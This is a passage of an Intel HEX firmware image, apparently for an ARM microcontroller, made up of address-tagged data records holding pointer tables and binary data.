F8ADC0C6140000DA0FC9C0DE150000C2\n:10B4900044B40200E61400002CB40200C6110000FF\n:10B4A000D0B30200B613000018B402000611000069\n:10B4B000C0B30200AE1500003CB402005E160000EE\n:10B4C0004CB40200EE0F000090B302002E100000FA\n:10B4D00098B3020046100000A8B302004E1000000E\n:10B4E000A0B30200B6100000B0B30200FE100000CE\n:10B4F000B8B30200D6110000D8B30200F611000064\n:10B50000E0B30200FE110000E8B302000E120000DA\n:10B51000F0B302006E13000010B4020036140000F5\n:10B5200024B40200DE120000F8B30200E6120000AC\n:10B5300000B40200FE12000008B40200AE160000C3\n:10B5400054B402000E15000034B40200361100009D\n:10B55000C8B302003D6D0000E56D00000000000072\n:10B5600000000000C0E00200080004008573000035\n:10B57000B8B802009A0100000000000000000000BE\n:10B5800000000000000000000000000000000000BB\n:10B5900000000000000000000000000000000000AB\n:10B5A00054B5020000000000B4B502000CE0020037\n:10B5B0007573000098CC02004F00000009000000E5\n:10B5C000C4B50200CE100000ACB50200960C00001D\n:10B5D0000CB60200060F0000ECC30200160F0000BC\n:10B5E00064B50200E60C000014B60200AE060000CE\n:10B5F00044C50200CE0B000050C50200C60B00007F\n:10B600005CC50200B606000068C502000CE002003E\n:10B61000396C00000CE0020061730000B8B8020051\n:10B620009B0100000000000000000000000000007E\n:10B63000000000000000000000000000000000000A\n:10B6400000000000000000000000000064B60200DE\n:10B6500000000000B4B50200C0E0020002000200D9\n:10B66000957300003D6D0000E56D000000000000D6\n:10B6700001000000B8B802003B020000000000001A\n:10B68000072D020000000000000000000000000084\n:10B690000000000000000000373D0200217400009F\n:10B6A000000000000000000000000000000000009A\n:10B6B000B8B802000D020000000000000000000009\n:10B6C000A12D0200000000000000000000000000AA\n:10B6D000000000000000000000000000000000006A\n:10B6E000000000000000000000000000C0E00200B8\n:10B6F000020005002D750000B8B8020034020000F9\n:10B7000000000000152E02000000000000000000F4\n:10B71000000000000000000000000000373D0200B3\n:10B72000ED2D0200000000000000000000000000FD\n:10B730000000000000000000432E02001FB14F0A6D\n:10B740009595E62477CC2B3217B7D1380AD7233C0E\n:10B75000CDCCCC3DAEC59D74CA1B0E5A20BCBE4C90\n:10B7600000401C460000C8420000204100000000CC\n:10B7700000000000000000000000000000000000C9\n:10B78000D9010000FA0100000000000000000000E4\n:10B7900000000000000000000000000000000000A9\n:10B7A0000000000000000000000000000000000099\n:10B7B0000000000000000000000000000000000089\n:10B7C0000000000000000000000000000000000079\n:10B7D000ED010000E6010000E1010000EB010000C6\n:10B7E000E301000000000000DE0100000000000096\n:10B7F0000100000048E00200ED31020048E00200D4\n:10B80000D98C0000B8B80200180200000000000047\n:10B810006F30020000000000000000000000000087\n:10B820000000000000000000000000000000000018\n:10B830000000000000000000000000000000000008\n:10B84000B8B80200BE020000000000006F30020025\n:10B8500000000000000000000000000000000000E8\n:10B8600000000000000000000000000000000000D8\n:10B87000000000000000000000000000B8B8020056\n:10B88000C70200005D890000933002000000000044\n:10B8900000000000000000000D8700000000000014\n:10B8A0000000000000000000000000000000000098\n:10B8B0000000000000000000B8B80200D70200003D\n:10B8C0007D870000A18B00009D8900005B3D020088\n:10B8D00000000000BB30020000000000000000007B\n:10B8E0000000000000000000000000000000000058\n:10B8F00000000000DA010000EC010000E701000098\n:10B900000000000000000000000000000100000036\n:10B9100020B902000000000000000000000000004C\n:10B92000B8B8020013020000AD960000999500001F\n:10B930000000000000000000199D00000000000051\n:10B9400025950000618D000000000000AB3402006E\n:10B9500000000000000000005CB9020098CC02006A\n:10B96000B7000000160000006CB90200E6110000EC\n:10B9700034BA020056150000A8BA02009612000060\n:10B980004CBA02005E150000B4BA02004613000073\n:10B9900080BA0200D6150000D8BA02006E15000069\n:10B9A000C0BA0200EE150000E4BA02009E110000C9\n:10B9B00028BA020026160000F0BA0200D6130000D2\n:10B9C00090BA020076150000CCBA02000612000000\n:10B9D00040BA0200361500009CBA02000E110000A9\n:10B9E0001CBA0200BE13000088BA0200061700004D\n:10B9F000FCBA02000613000070BA0200BE1200007A\n:10BA000058BA0200C612000060BA020026130000F5\n:10BA100078BA0200F612000068BA0200C0E0020024\n:10BA20000400040081930000C0E002000400030051\n:10BA300039920000C0E0020004000400C13202009C\n:10BA4000C0E002000300FFFF6DA40000C0E00200A0\n:10BA500004000400DB3202000CE00200E594000068\n:10BA60000CE00200F59400000CE0020015950000C7\n:10BA70000CE00200D59400000CE0020005950000E7\n:10BA800048E00200259000000CE002004194000014\n:10BA9000C0E002000200020003330200C0E0020026\n:10BAA000060004001F330200C0E00200040004008E\n:10BAB000CD320200C0E0020004000400E7320200C0\n:10BAC000C0E002000200030069A30000C0E0020021\n:10BAD0000200020011330200C0E002000200030075\n:10BAE0002DA20000C0E0020004000300D591000078\n:10BAF000C0E0020002000200F53202000CE0020089\n:10BB000051940000B8B80200670200000000000075\n:10BB10000000000000000000000000000000000025\n:10BB20000000000000000000373D02001135020057\n:10BB30000000000000000000000000000000000005\n:10BB4000B8B80200C002000019A50000798F0000FB\n:10BB500000000000E1A40000199D000000000000AA\n:10BB6000E1A60000C5A4000000000000AB34020004\n:10BB700000000000000000007CBB020098CC020026\n:10BB8000B7000000160000008CBB0200E6110000A8\n:10BB900034BA020056150000A8BA0200961200003E\n:10BBA0004CBA02005E150000B4BA02004613000051\n:10BBB00080BA0200D6150000D8BA02006E15000047\n:10BBC000C0BA0200EE150000E4BA02009E110000A7\n:10BBD00028BA020026160000F0BA0200D6130000B0\n:10BBE00090BA020076150000CCBA020006120000DE\n:10BBF00040BA0200361500009CBA02000E11000087\n:10BC00001CBA0200BE13000088BA0200061700002A\n:10BC1000FCBA02000613000070BA0200BE12000057\n:10BC200058BA0200C612000060BA020026130000D3\n:10BC300078BA0200F612000068BA020048E002007A\n:10BC4000ADA70000B8B80200A900000075A9000067\n:10BC500000000000000000000000000000000000E4\n:10BC600000000000000000000000000000000000D4\n:10BC700000000000000000000000000000000000C4\n:10BC8000D0DF0200C1AC000098CC0200EF00000041\n:10BC90001D00000098BC0200860F0000F6060000A0\n:10BCA0004E0F000080BC0200C6000000F0BD020084\n:10BCB00026070000F8BD02002E070000D0BD0200DC\n:10BCC0001E070000E4BD02000E070000D8BD020000\n:10BCD000960B000004BE02006E070000B0D5020003\n:10BCE00076070000E0D50200BE0700005CD9020024\n:10BCF000A60700009CD802009E070000ECD60200B8\n:10BD0000D6070000D4DB02008607000064D60200DC\n:10BD10005E07000040D4020056070000D4D30200A2\n:10BD2000E607000034DC02007E07000030D6020087\n:10BD3000C607000064DA0200CE07000090DA0200B5\n:10BD400046070000ACD302006607000008D50200D9\n:10BD50004E0700009CD30200DE07000010DC02004A\n:10BD600096070000D0D602008E070000B4D602006D\n:10BD7000B60700003CD90200AE0700001CD9020043\n:10BD8000DE00030100000000E200030000CF02001B\n:10BD9000A500010001000000A60001000000000055\n:10BDA000DF00020100000000E0000200FFFFFFFFD3\n:10BDB000E200030000CF0200A50001000100000026\n:10BDC000E700020200000000E6000202000000009E\n:10BDD000D0DF02009DAA0000C0E002000100FFFFCA\n:10BDE00005AC0000C0E002000100FFFF4DAB000009\n:10BDF000D0DF020051AA0000C0E002000100FFFFF6\n:10BE00000DAB0000C0E0020000000100C5AA000068\n:10BE10006CB2020088BC020050EE02005D1A030002\n:10BE200058EE02008E1A030074EE0200F31A0300AB\n:10BE30006CEE0200711B03007CEE0200B61B0300D7\n:10BE400030DE0200EA1B030018DE0200411C030082\n:10BE500020DE0200791C030028DE0200B11C030072\n:10BE60005CAE02003F1D030068AE02008B1D0300A4\n:10BE70007CAE0200D71D030084AE0200191E030031\n:10BE800074AE0200941E0300E89B0200F81E03003B\n:10BE9000F89B0200301F0300F09B0200D31F030039\n:10BEA000B89B02005F200300C09B0200F420030047\n:10BEB000D09B020057210300D89B020003220300FD\n:10BEC000E09B0200AF220300C89B02005B2303003B\n:10BED000240000209023030038C50200AE23030095\n:10BEE00020C502005B240300F0C40200F424030018\n:10BEF000F8C402001F2503002CC50200B025030072\n:10BF000010C502003926030008C502005B260300A5\n:10BF100000C502007F26030018C50200CD260300DD\n:10BF200000CF02002827030048CF02005727030054\n:10BF300058CF02008627030060CF0200B527030018\n:10BF400068CF0200E427030070CF0200132803002B\n:10BF500078CF02004228030080CF0200712803003E\n:10BF600088CF0200A028030090CF0200CF28030052\n:10BF700008CF0200FE28030010CF02002E29030084\n:10BF800018CF02005E29030020CF02008E29030093\n:10BF900028CF0200BE29030030CF0200EE290300A3\n:10BFA00038CF02001E2A030040CF02004E2A0300B1\n:10BFB00050CF02007E2A0300C8CF0200AE2A030041\n:10BFC000A8CF02000C2B0300C0CF0200562B0300A9\n:10BFD000A0CF0200AC2B030098CF0200202C03005E\n:10BFE00038DF02007E2C030040DF02001C2D03001E\n:10BFF0004CDF0200672D03002CDF0200BD2D030083\n:10C0000064CA0200FF2D0300A0CA0200F32E030041\n:10C0100028CA02001D2F030020CA0200482F030077\n:10C0200038CA0200D72F03004CCA02006230030056\n:10C0300054CA0200B33003005CCA02000631030098\n:10C0400044CA02004C3103000CCA020096310300BE\n:10C0500014CA0200C931030030CA02007E32030054\n:10C06000140000200933030084B302004E330300A0\n:10C070007CB30200E333030044C502004B340300E9\n:10C080005CC502009C34030050C50200DF3403008D\n:10C0900068C502005F35030004000020AB350300D3\n:10C0A000E4AB02000C360300FCAB0200BF36030019\n:10C0B000F0AB02000737030004AC02002F37030087\n:10C0C00010BE0200FC370300F8BD02004B3803002D\n:10C0D000D8BD0200BA380300E4BD02005A3903009B\n:10C0E000D0BD0200EB39030004BE0200443A030055\n:10C0F000F0BD02006E3A0300609C0200AE3A0300FD\n:10C10000189E0200C93A0300109E02004D3B030036\n:10C11000C8AA0200993B0300C0AA0200D23B030058\n:10C120006A02030224DD0200A802010200000000EE\n:10C1300048E00200CDB600000CE0020061B700004C\n:10C140000CE002005338020048E00200DD37020034\n:10C1500048E00200C9B80000C0E00200040004008A\n:10C16000A737020084E0020019B7000098CC020053\n:10C170005F0000000B0000007CC1020016100000F0\n:10C1800030C102002E0C000038C102003E05000044\n:10C1900040C102000E11000048C10200CE11000093\n:10C1A00050C102009612000058C102009E12000009\n:10C1B00064C10200D6140000D4C102002E15000094\n:10C1C000E0C1020046150000E8C10200C6150000EB\n:10C1D000F0C10200C0E0020002000200E5B700006A\n:10C1E00048E0020061B800000CE002009DB60000CB\n:10C1F000C0E002000300FFFF89B70000B8B80200EA\n:10C200007302000081B80000013802000000000045\n:10C2100059B6000071B900000000000049BA0000E2\n:10C2200081B60000000000000000000000000000D7\n:10C23000000000006CC1020048E0020069BD00007F\n:10C24000860F00006E0C0000960B000084C20200F6\n:10C250001E07000078C20200060D00008CC202001A\n:10C26000760C0000E0C2020098CC02002F00000013\n:10C270000500000040C20200C0E002000100FFFF14\n:10C2800091C30000D0DF02005DC10000D0DF0200DA\n:10C2900055BC000098CC02000F0000000100000017\n:10C2A000A4C202008E0C000038C2020000CF0200BF\n:10C2B00048CF020058CF02009001030100000000A7\n:10C2C000A500010001000000E200030024DD0200DF\n:10C2D0008F01030024DD02006CB2020068C202007C\n:10C2E000B8B802008E0100000000000025390200ED\n:10C2F0000000000087380200E9C3000000000000D1\n:10C300009DBD000000000000000000009338020006\n:10C31000000000000000000094C20200C0E0020023\n:10C320000000010065C500000CE0020089C50000A6\n:10C33000D0DF020049C5000048E00200DD3A0200FB\n:10C3400048E0020009C50000C0E00200020003004E\n:10C35000073B020098CC02004700000008000000E4\n:10C360006CC302000CE00200713B0200860F00006B\n:10C37000360C00003E0C000064C30200460C0000B6\n:10C380001CC302004E0C000048C30200560C000003\n:10C3900038C302005E0C000028C30200360C000007\n:10C3A00030C30200660C000040C302006CB2020001\n:10C3B00054C30200C0E0020004000300B9C500003D\n:10C3C000C0E0020000000100F1C5000048E00200EA\n:10C3D000F33C020048E00200DD3C020048E00200BD\n:10C3E000AF3C020084E00200C53C02000CE0020009\n:10C3F000093D0200050000000500000003000000E8\n:10C40000090000000D0400001A440300B8B802003F\n:10C410009C00000000000000000000000000000080\n:10C42000000000000000000000000000000000000C\n:10C4300000000000000000000000000000000000FC\n:10C440000000000048C4020098CC02004F00000029\n:10C450000900000058C40200A6020000F8C402004F\n:10C460009E0200002CC502000605000038C502002F\n:10C470000E05000020C502002E0C0000F0C40200D2\n:10C480006E05000010C502007605000008C5020018\n:10C490007E05000000C502002615000018C5020038\n:10C4A0004E00030100000000A20002009001000005\n:10C4B0008501010200000000A5000102010000004A\n:10C4C000A600010200000000AA0003010000000015\n:10C4D000A200020096000000A50001020100000079\n:10C4E0005900010200000000A60001020000000047\n:10C4F0000CE0020011E1000084E002004D3E020069\n:10C500000CE0020021DB00000CE0020035DB000043\n:10C510000CE00200A9E100000CE0020091DB000049\n:10C52000C0E002000300FFFF61E00000C0E0020085\n:10C530000800040059E10000C0E002000300FFFF12\n:10C5400061DF0000C0E0020002000200F93E0200CC\n:10C55000C0E002000400030045EA0000C0E0020061\n:10C5600002000200A1EA0000C0E002000400040092\n:10C57000033F0200B8B802007B0200000000000088\n:10C58000A5EB00000000000000000000000000001B\n:10C590000000000000000000373D0200633F020081\n:10C5A000000000000000000000000000000000008B\n:10C5B000EB3F0200DB3F020099F20000AD3F0200BA\n:10C5C000FDED0000C0E00200060004008DF3000055\n:10C5D00004B80200C4C5020098CC02001700000095\n:10C5E00002000000E8C5020016120000D0C50200DB\n:10C5F000A6160000F8C50200C0E002000600040014\n:10C600000DF30000B8B802005402000067400200B9\n:10C6100085F40000000000000D5C0000E55C0000F7\n:10C62000000000000000000000000000000000000A\n:10C63000000000000000000000000000D8C502005B\n:10C64000334102003D410200294302004143020000\n:10C650003D420200674202007F4202009742020010\n:10C66000AF420200DB420200F54202000F4302002B\n:10C67000D0DF0200F74902000CE00200DDF9000003\n:10C68000D0DF0200D5F900006CB2020090C60200B3\n:10C6900098CC0200570000000A000000A0C602006B\n:10C6A000860F0000F60C0000E6160000F0C602003F\n:10C6B000C600000064EE0200DE06000080C6020034\n:10C6C0006E11000070C602008E11000078C60200D4\n:10C6D0000E1400001CD30200FE1300000CD3020055\n:10C6E0000614000014D302009E160000B4C302001A\n:10C6F000D0DF0200DF490200C0E002000C000800A9\n:10C70000C1FB000048E00200A5FA0000B8B8020032\n:10C71000B000000000000000000000000000000069\n:10C720007D4A02000000000000000000694F020086\n:10C730000DFA0000000000000000000000000000F2\n:10C74000000000000000000098CC0200770200000A\n:10C750004E00000094C70200B8B802006702000053\n:10C7600000000000000000000000000000000000C9\n:10C77000000000000000000000000000373D020043\n:10C780003F4F020000000000000000000000000019\n:10C79000000000007E020000A0CA02008602000025\n:10C7A00028CA0200A602000020CA02009E02000061\n:10C7B00038CA0200AE0200004CCA0200B6020000F5\n:10C7C00054CA0200BE0200005CCA0200C602000099\n:10C7D00044CA02003E0500000CCA020046050000E3\n:10C7E00014CA02008E02000030CA02009602000045\n:10C7F00004C70200D6020000F8C60200DE020000F4\n:10C80000289F0200E6020000309F0200EE020000B6\n:10C81000209F0200FE020000A09F0200F60200001E\n:10C82000889F020006030000E09E02000E03000045\n:10C83000209E020016030000689E02001E030000F6\n:10C84000C89F020026030000909F02002E030000F4\n:10C85000089F020036030000409F02003E030000D4\n:10C8600010A0020046030000609F02004E0300007B\n:10C87000909E020056030000989E02005E03000096\n:10C88000A09E020066030000A89E02006E03000046\n:10C89000B09E020076030000B89E02007E030000F6\n:10C8A000C09E020086030000C89E02008E030000A6\n:10C8B000D09E020096030000D89E02009E03000056\n:10C8C000809E0200A6030000889E0200AE030000C6\n:10C8D000309E0200B6030000389E0200BE03000036\n:10C8E000289E0200C6030000509E0200CE030000F6\n:10C8F000489E0200D6030000589E0200DE0300009E\n:10C90000609E0200E6030000409E0200EE0300006D\n:10C91000F09F0200F6030000E89F0200FE03000003\n:10C92000789E020006040000F09E02000E04000043\n:10C93000F89E020016040000B09F02001E040000D2\n:10C94000B89F020026040000789F02002E04000019\n:10C95000E89E020036040000489F02003E040000EA\n:10C96000509F020046040000589F02004E04000041\n:10C97000709F02005604000008A002005E04000040\n:10C98000689F020066040000D89F0200DE040000D9\n:10C9900060B10200D604000038B102006E0400004D\n:10C9A000F89F020076040000809F02007E040000D1\n:10C9B000009F020086040000389F02008E040000E1\n:10C9C000E09F020096040000709E02009E0400009A\n:10C9D000C09F0200A6040000109F0200AE040000E9\n:10C9E000D09F0200B6040000189F0200BE040000A1\n:10C9F000989F0200C604000000A00200CE040000C0\n:10CA0000A89F020064CA0200010000000CE00200BE\n:10CA1000174E0200C0E002000A000500634D02004C\n:10CA200084E0020069FC00000CE00200BD4D020041\n:10CA30000CE002006F4E0200C0E00200080004009B\n:10CA4000C1FC000048E00200F14E020048E0020094\n:10CA5000AF4E020048E00200C54E020048E002006E\n:10CA6000DB4E0200B8B802004C00000035FD0000AB\n:10CA7000F5FD00000000000000000000FD000100C6\n:10CA800000000000000000000000000000000000A6\n:10CA900000000000000000000000000048C7020085\n:10CAA0000CE00200754B0200B8B8020067020000FB\n:10CAB0000000000000000000000000000000000076\n:10CAC000000000000000000000000000373D0200F0\n:10CAD000D5FA000000000000000000000000000087\n:10CAE00000000000B8B80200AC0000000000000028\n:10CAF0000000000000000000000000000000000036\n:10CB0000000000000000000065FA000000000000C6\n:10CB10000000000000000000000000000000000015\n:10CB20000CE00200090201000CE002007350020058\n:10CB3000C0E00200040003000906010004B802007E\n:10CB400030CB0200C0E0020004000300C54F020029\n:10CB50000CE002009D0501000CE00200B905010097\n:10CB600098CC0200770000000E00000070CB02009D\n:10CB70002E0C000020CB02003E05000028CB020056\n:10CB80001E1200003CCB02004612000044CB020003\n:10CB90002E13000050CB02005E13000058CB0200A1\n:10CBA000D6140000E0CB0200DE140000ECCB020043\n:10CBB000A6150000F4CB0200FE16000000CC020017\n:10CBC000261700000CCC02002E0F0000DCC3020070\n:10CBD000C60F0000E4C30200FE0E0000D4C3020032\n:10CBE000C0E0020004000300BB4F02000CE00200A2\n:10CBF000ED030100C0E0020004000300B14F020099\n:10CC0000C0E002000300FFFF0D0301000CE0020082\n:10CC1000ED010100B8B8020067020000000000004A\n:10CC20000000000000000000000000000000000004\n:10CC30000000000000000000373D02000950020023\n:10CC400000000000000000000000000000000000E4\n:10CC5000B8B80200280200009502010000000000A0\n:10CC6000000000000000000043500200000000002F\n:10CC700000000000D50101000000000000000000DD\n:10CC8000000000000000000000000000625B0300E4\n:10CC90006D5B0300775B0300B8B802002702000059\n:10CCA00009050100550601000000000019020100FD\n:10CCB0003104010000000000A5060100B9010100D7\n:10CCC0000000000000000000000000000000000064\n:10CCD00060CB0200B8B80200CF01000009050100D6\n:10CCE0005506010000000000190201003104010096\n:10CCF00000000000A5060100B901010000000000CD\n:10CD0000000000000000000098CC020060CB020090\n:10CD10000CE00200FD5002000CE00200C50701001B\n:10CD200048E002004507010098CC020067000000BF\n:10CD30000C00000058CD020098CC020067000000F3\n:10CD40000C000000B8CD020098CC02006F0000007B\n:10CD50000D00000018CE020036010000C8CF02000E\n:10CD60002E010000A8CF020046010000C0CF020043\n:10CD70003E010000A0CF02004E010000B8CF02002B\n:10CD800056010000B0CF02004E0200000700000074\n:10CD900056020000030000005E02000001000000D7\n:10CDA0003E02000018CD02004602000020CD020025\n:10CDB0009601000010CD020036010000C8CF02002D\n:10CDC0002E010000A8CF020046010000C0CF0200E3\n:10CDD0004E010000B8CF020056010000B0CF0200A3\n:10CDE0005E01000080CE02004E020000070000003D\n:10CDF00056020000030000005E0200000100000077\n:10CE00003E02000018CD02004602000020CD0200C4\n:10CE10009601000010CD020036010000C8CF0200CC\n:10CE20002E010000A8CF020046010000C0CF020082\n:10CE30003E010000A0CF02004E010000B8CF02006A\n:10CE400056010000B0CF02006601000098CF02003A\n:10CE50004E02000007000000560200000300000020\n:10CE60005E020000010000003E02000018CD02003A\n:10CE70004602000020CD02009601000010CD020005\n:10CE80000CE002000D510200B8B8020023000000BF\n:10CE90000000000000000000000000000000000092\n:10CEA0000000000000000000000000000000000082\n:10CEB0000000000000000000000000000000000072\n:10CEC00028CD0200B8B802002200000000000000D7\n:10CED0000000000000000000000000000000000052\n:10CEE0000000000000000000000000000000000042\n:10CEF00000000000000000000000000038CD02002B\n:10CF0000D0CF02000003010088CE02000A06040010\n:10CF1000C4CE02000B1A0500C4CE02000C1401009E\n:10CF2000C4CE02000D170100C4CE02000E1601008F\n:10CF3000C4CE02000F150100C4CE02001010010083\n:10CF4000C4CE020013000900D0CF0200010201008C\n:10CF5000C4CE0200141E0900D0CF0200020101005D\n:10CF600088CE02000304040088CE020004050400F9\n:10CF7000C4CE020005110500C4CE0200060C040058\n:10CF8000C4CE0200070B0400C4CE02000812010048\n:10CF9000C4CE0200090A04000CE0020011090100DD\n:10CFA0000CE00200910801000CE002008D07010076\n:10CFB00048E00200ED08010048E00200C508010059\n:10CFC00048E002000108010048E00200E506010017\n:10CFD000B8B80200240000000000000000000000BB\n:10CFE0000000000000000000000000000000000041\n:10CFF0000000000000000000000000000000000031\n:10D00000000000000000000048CD0200B8B8020097\n:10D01000A20200003D0C0100D50B01000000000041\n:10D020008D0B010000000000F90C0100750C0100DF\n:10D03000BD0B010000000000000000000000000027\n:10D040000000000000000000B8B802006702000005\n:10D0500000000000000000000000000000000000D0\n:10D06000000000000000000000000000373D02004A\n:10D070002352020000000000000000000000000039\n:10D08000000000007954020079540200511A010096\n:10D09000915702007954020025150100E155020064\n:10D0A0003D0D010079540200151F0100E91E010029\n:10D0B00041210100695402004B5B02002D0D01006B\n:10D0C000F7600200791E0100ED1D0100112501002D\n:10D0D000CF5F0200335F0200391601009B59020046\n:10D0E0007158020079540200D95E0200B95302005F\n:10D0F000B9530200895602007F56020035560200DD\n:10D1000093560200790F01002B56020021560200AF\n:10D1100017560200CD0E0100CD0E0100CD0E01000C\n:10D12000255B02008F54020071250100C75A0200DE\n:10D13000355A0200F9210100055902005954020034\n:10D14000CD520200E1550200995502007D550200C2\n:10D15000E15502003B540200EF5802008521010016\n:10D16000A75702006CD1020000000000B8B802000E\n:10D17000D60200003D2A0100A52C0100000000009D\n:10D18000992A0100352B010000000000312C01001C\n:10D19000212A010000000000000000000000000043\n:10D1A00000000000BCD1020048E00200E962020079\n:10D1B000C0E0020004000400D562020098CC020026\n:10D1C0001700000002000000CCD102000E11000088\n:10D1D000A8D1020096120000B0D102006CB2020089\n:10D1E000E4D1020098CC0200170000000200000009\n:10D1F000F4D10200860F0000261000002610000067\n:10D2000034AD02000000000000000000352D0100D8\n:10D21000252D01002D2D01000CE00200C52D01007F\n:10D220000CE00200F92E010098CC0200170000006B\n:10D230000200000048D2020098CC02001700000053\n:10D240000200000058D202002E0C000020D2020082\n:10D250000605000018D20200860F00001E0C000018\n:10D26000260C000070D202006CB2020038D202001C\n:10D27000B8B802008401000000000000852E010003\n:10D28000000000002F63020000000000000000000A\n:10D29000ED2D010000000000000000000000000073\n:10D2A000000000000000000028D202000000000082\n:10D2B000000000002D000000416302002500000076\n:10D2C0004163020026000000416302009F0000004D\n:10D2D000352F01002F000000352F0100DE00000077\n:10D2E000352F01008D010000416302003000000075\n:10D2F00041630200D4000000352F01007D010000D1\n:10D30000352F0100280000004363020024D30200EF\n:10D310000200000024D302000400000024D3020015\n:10D3200001000000B8B802007E020000AD34010028\n:10D3300000000000000000000000000000000000ED\n:10D3400000000000C13401000000000000000000E7\n:10D3500000000000000000000000000000000000CD\n:10D36000B8B80200670200000000000000000000E2\n:10D3700000000000000000000000000000000000AD\n:10D3800000000000373D02001D35010000000000D4\n:10D390000000000000000000000000006CD102004E\n:10D3A00002000000860800001E0A00006CD1020086\n:10D3B00008000000E60800003E0B0000C60900005F\n:10D3C0006E0900003E0B00009E0800003E0B0000AE\n:10D3D000960A00006CD10200190000000609000046\n:10D3E0003E090000D609000056090000660A000048\n:10D3F000560A00004E0900003E090000D609000050\n:10D4000056090000CE0A0000C60A00004E090000BE\n:10D410003E0900003609000016080000660A0000F8\n:10D42000F60900006609000006080000FE0700007B\n:10D430003E080000660A0000CE0A0000C60A00008E\n:10D440006CD1020030000000D6080000F609000090\n:10D45000CE0A0000EE070000F6070000EE0700000D\n:10D46000CE0A0000F6090000D6080000F609000008\n:10D47000CE0A0000EE070000F6070000EE070000ED\n:10D48000CE0A0000F6090000660A0000EE07000060\n:10D49000DE080000660900006E0900006609000051\n:10D4A0009E0800000E080000D6080000F6090000E3\n:10D4B000CE0A0000EE070000F6070000EE070000AD\n:10D4C000CE0A0000F6090000CE0A00004E08000057\n:10D4D0008E090000660A00009E0A0000EE070000A8\n:10D4E000DE0800006E090000D6080000F609000002\n:10D4F000CE0A0000F6090000CE0A0000660A00000D\n:10D50000F6090000660900006CD102002800000046\n:10D510001E0800004E080000160900006608000002\n:10D52000360800003E0B00002E0800004E080000E8\n:10D530001609000066080000360800003E0B0000D7\n:10D5400036080000160A00006E090000F609000007\n:10D55000660A0000F60900006E090000F6090000E6\n:10D560006E08000016090000660900009E08000011\n:10D57000760800003E0B00008E080000160900002F\n:10D58000660900009E080000760800003E0B0000BF\n:10D5900096080000160A00006E090000F609000057\n:10D5A000660A0000F60900006E090000F609000096\n:10D5B0006CD102000A000000460B0000CE0A0000F9\n:10D5C000CE0A0000CE0A00005E0A0000560B0000E2\n:10D5D000660A0000660A0000660A0000EE09000004\n:10D5E0006CD10200120000009E0900006E090000CC\n:10D5F000F6090000260900000E0A000026090000B6\n:10D600000E0A00002E0900003E0900006609000015\n:10D610006E090000F60900009E080000660900007F\n:10D620002E0A00006E080000B6090000560900002E\n:10D630006CD102000B000000EE0800004E09000053\n:10D640003E0900005609000086090000BE090000DE\n:10D65000CE0900003E0900004E09000056080000F7\n:10D66000EE0800006CD1020012000000D608000095\n:10D670009E0800006E0900003E090000AE0A00008E\n:10D680003E090000AE0A00006E0A0000CE0A00004B\n:10D690009E0800009E080000CE0A00003E0900001F\n:10D6A0008E0A00003E0900008E0A0000660A000093\n:10D6B0006E0900006CD1020005000000160B00008E\n:10D6C000660A0000F6090000660900009E080000D6\n:10D6D0006CD10200050000001E0900006609000070\n:10D6E000F6090000660A0000CE0A00006CD10200B4\n:10D6F0006A0000007E0A0000D60A0000C60800008A\n:10D700007E0900006E080000AE090000A6080000B7\n:10D71000760800004E080000AE0800006609000010\n:10D72000BE090000A60800006E080000B608000050\n:10D730006E0900006E0A0000D60A00006E090000A3\n:10D740006E0A0000A60800006609000066080000D6\n:10D75000AE08000066080000760900006E0A0000AE\n:10D76000DE0A00006E0900006E0A0000A608000034\n:10D770006E09000066080000A60900006E0900009E\n:10D7800066090000A608000066080000AE08000058\n:10D79000C60900006E080000AE0800006E09000017\n:10D7A0006E0A0000A608000066090000A608000036\n:10D7B00066080000BE08000066080000AE08000011\n:10D7C00066080000860A0000D60A000096080000DD\n:10D7D000860A0000D60A00004E080000AE080000CD\n:10D7E0006E09000066080000160A00006E090000BD\n:10D7F000F60900006E0A0000760800004E080000DE\n:10D80000860A0000D60A00004E0800006E0A0000DA\n:10D81000160A00006E090000A60800006608000055\n:10D820006E0A00006E090000F60900006E0A000092\n:10D8300096080000860A0000D60A0000960800003C\n:10D84000860A0000D60A00004E0800004E080000BC\n:10D85000AE0800006E090000660800006E0A0000B5\n:10D86000D60A00006E0A0000960800008E0800002C\n:10D87000F60700004E0800006E0A0000D60A0000FD\n:10D880004E080000160A00006E090000F6090000AC\n:10D890006E0A000076080000AE0800006CD102009D\n:10D8A0001E000000060A0000F6090000660A0000DB\n:10D8B000CE0A0000CE0A0000660A0000F609000049\n:10D8C000660900009E0800009E080000660900002E\n:10D8D000F60900004E0A0000C6090000EE0900002B\n:10D8E0003E0A0000F6090000660A0000CE0A0000A9\n:10D8F000CE0A0000660A0000F60900006609000072\n:10D900009E0800009E08000066090000F60900005D\n:10D91000E6090000460900005E0900006CD1020023\n:10D9200006000000160B00006E0900009E080000B3\n:10D93000060B00008E0800002E0900006CD10200CA\n:10D9400006000000FE0A000016090000F6090000AB\n:10D95000260B0000260A00002E0B00006CD10200EE\n:10D9600040000000FE080000F6090000CE0A00009A\n:10D9700016090000F6090000F60A0000160900006A\n:10D98000F6090000F6080000F6090000CE0A0000C3\n:10D9900016090000F6090000F60A0000160900004A\n:10D9A000F6090000F608000066090000CE0A000033\n:10D9B000A6090000660A0000F60A0000A609000099\n:10D9C000660A0000F608000066090000CE0A0000A2\n:10D9D000A6090000660A0000F60A0000A609000079\n:10D9E000660A00005E08000096090000CE0A0000EA\n:10D9F000A6090000660A0000F60A0000A609000059\n:10DA0000660A00005E08000096090000CE0A0000C9\n:10DA1000A6090000660A0000F60A0000A609000038\n:10DA2000660A0000F6080000F6090000CE0A0000B1\n:10DA300016090000F6090000F60A000016090000A9\n:10DA4000F6090000F6080000F6090000CE0A000002\n:10DA500016090000F6090000F60A00001609000089\n:10DA6000F60900006CD10200090000000609000060\n:10DA7000EE0A00006E0A0000CE0A0000E60A00006E\n:10DA8000CE0A00003E0B00004E080000F608000021\n:10DA90006CD102004F000000AE09000066080000D3\n:10DAA0003E0B00004E0800004E080000F607000084\n:10DAB0004E0800000E0B00003E0B0000660900003F\n:10DAC000660900003E0B0000660800001609000011\n:10DAD0003E0B00009E0800009E0800003E0B000068\n:10DAE00066090000460A00003E0900001608000012\n:10DAF0003E0B0000EE070000EE070000D60A000013\n:10DB0000EE070000760A00003E0B0000F609000058\n:10DB1000F60900003E0B00009E08000066080000A9\n:10DB20003E0B00004E0800004E0800003E0B0000B7\n:10DB300016090000DE090000BE09000066080000AA\n:10DB40003E0B00004E0800004E080000F6070000E3\n:10DB50004E0800007E0800003E0B0000CE0A0000C8\n:10DB6000CE0A00003E0B000066090000A608000077\n:10DB70003E0B0000EE070000EE0700003E0B000029\n:10DB8000EE070000460800